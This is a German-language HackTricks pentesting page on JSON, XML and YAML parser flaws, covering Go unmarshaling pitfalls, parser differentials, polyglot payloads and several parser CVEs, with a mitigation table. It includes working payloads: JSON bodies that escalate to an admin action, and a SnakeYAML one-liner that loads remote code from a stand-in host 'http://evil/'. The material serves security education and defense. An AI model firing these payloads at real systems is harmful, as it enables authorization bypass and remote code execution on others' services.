hacktricks/src/pentesting-web/json-xml-yaml-hacking.md

6.5 KiB
Raw Blame History

JSON, XML & Yaml Hacking & Issues

{{#include ../banners/hacktricks-training.md}}

Go JSON Decoder

Die folgenden Probleme wurden im Go JSON festgestellt, obwohl sie auch in anderen Sprachen vorhanden sein könnten. Diese Probleme wurden in diesem Blogbeitrag veröffentlicht.

Gos JSON-, XML- und YAML-Parser haben eine lange Liste von Inkonsistenzen und unsicheren Standardeinstellungen, die ausgenutzt werden können, um Authentifizierung zu umgehen, Berechtigungen zu eskalieren oder sensible Daten zu exfiltrieren.

(Un)Marshaling Unerwarteter Daten

Das Ziel ist es, Strukturen auszunutzen, die es einem Angreifer ermöglichen, sensible Felder zu lesen/schreiben (z. B. IsAdmin, Password).

  • Beispielstruktur:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Häufige Schwachstellen
  1. Fehlendes Tag (kein Tag = Feld wird standardmäßig weiterhin geparst):
type User struct {
Username string
}

Nutzlast:

{"Username": "admin"}
  1. Falsche Verwendung von -:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Nutzlast:

{"-": true}

✔️ Richtige Methode, um ein Feld vom (De)Serialisieren abzuhalten:

type User struct {
IsAdmin bool `json:"-"`
}

Parser-Differenzen

Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie zum Beispiel:

  • CVE-2017-12635: Apache CouchDB Umgehung über doppelte Schlüssel
  • 2022: Zoom 0-Klick RCE über XML-Parser-Inkonsistenz
  • GitLab 2025 SAML-Umgehung über XML-Eigenheiten

1. Doppelte Felder: Go's encoding/json nimmt das letzte Feld.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Andere Parser (z. B. Javas Jackson) können die erste nehmen.

2. Groß-/Kleinschreibung: Go ist nicht case-sensitiv:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Sogar Unicode-Tricks funktionieren:

json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)

3. Cross-Service-Mismatch: Stellen Sie sich vor:

  • Proxy, geschrieben in Go
  • AuthZ-Dienst, geschrieben in Python

Angreifer sendet:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python sieht UserAction, erlaubt es
  • Go sieht AdminAction, führt es aus

Datenformatverwirrung (Polyglots)

Das Ziel ist es, Systeme auszunutzen, die Formate (JSON/XML/YAML) mischen oder bei Parserfehlern offen bleiben, wie z.B.:

  • CVE-2020-16250: HashiCorp Vault analysierte JSON mit einem XML-Parser, nachdem STS JSON anstelle von XML zurückgegeben hatte.

Angreifer kontrolliert:

  • Den Accept: application/json Header
  • Teilweise Kontrolle des JSON-Körpers

Der XML-Parser von Go analysierte es trotzdem und vertraute der injizierten Identität.

  • Ausgeklügelte Payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
  • Go JSON Parser: Action_2 (nicht groß-/kleinschreibungsempfindlich + letzter gewinnt)
  • YAML Parser: Action_1 (groß-/kleinschreibungsempfindlich)
  • XML Parser: parst "Action_3" innerhalb des Strings

Bemerkenswerte Parser-Sicherheitsanfälligkeiten (2023-2025)

Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein Problem in mehreren Sprachen ist nicht nur ein Go-Problem.

SnakeYAML Deserialisierung RCE (CVE-2022-1471)

  • Betroffen: org.yaml:snakeyaml < 2.0 (verwendet von Spring-Boot, Jenkins usw.).
  • Grundursache: new Constructor() deserialisiert willkürliche Java-Klassen, was Gadget-Ketten ermöglicht, die in der Ausführung von Remote-Code enden.
  • One-Liner PoC (öffnet den Rechner auf dem anfälligen Host):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Fix / Minderung:
  1. Upgrade auf ≥2.0 (verwendet standardmäßig SafeLoader).
  2. Bei älteren Versionen explizit new Yaml(new SafeConstructor()) verwenden.

libyaml Double-Free (CVE-2024-35325)

  • Betroffen: libyaml ≤0.2.5 (C-Bibliothek, die von vielen Sprachbindungen genutzt wird).
  • Problem: Das zweimalige Aufrufen von yaml_event_delete() führt zu einem Double-Free, den Angreifer in DoS oder in einigen Szenarien in Heap-Ausnutzung umwandeln können.
  • Status: Vom Upstream als „API-Missbrauch“ abgelehnt, aber Linux-Distributionen haben das gepatchte 0.2.6 ausgeliefert, das den Zeiger defensiv null-freigibt.

RapidJSON Integer (Unter|Über)-lauf (CVE-2024-38517 / CVE-2024-39684)

  • Betroffen: Tencent RapidJSON vor dem Commit 8269bc2 (<1.1.0-patch-22).
  • Fehler: In GenericReader::ParseNumber() lässt nicht überprüfte Arithmetik Angreifern zu, riesige numerische Literale zu erstellen, die sich umwickeln und den Heap beschädigen — was letztendlich eine Privilegieneskalation ermöglicht, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird.

🔐 Minderung (Aktualisiert)

Risiko Fix / Empfehlung
Unbekannte Felder (JSON) decoder.DisallowUnknownFields()
Duplizierte Felder (JSON) Kein Fix in der stdlib — validieren mit jsoncheck
Groß-/Kleinschreibung-unabhängige Übereinstimmung (Go) Kein Fix — validieren Sie Struktur-Tags + vor-kanonicalisieren Sie Eingaben
XML-Garbagedaten / XXE Verwenden Sie einen gehärteten Parser (encoding/xml + DisallowDTD)
YAML unbekannte Schlüssel yaml.KnownFields(true)
Unsichere YAML-Desserialisierung Verwenden Sie SafeConstructor / Upgrade auf SnakeYAML ≥2.0
libyaml ≤0.2.5 Double-Free Upgrade auf 0.2.6 oder distro-gepatchte Version
RapidJSON <gepatchter Commit Kompilieren Sie gegen die neueste RapidJSON (≥Juli 2024)

Referenzen

  • Baeldung „Behebung von CVE-2022-1471 mit SnakeYAML 2.0“
  • Ubuntu Security Tracker CVE-2024-35325 (libyaml)

{{#include ../banners/hacktricks-training.md}}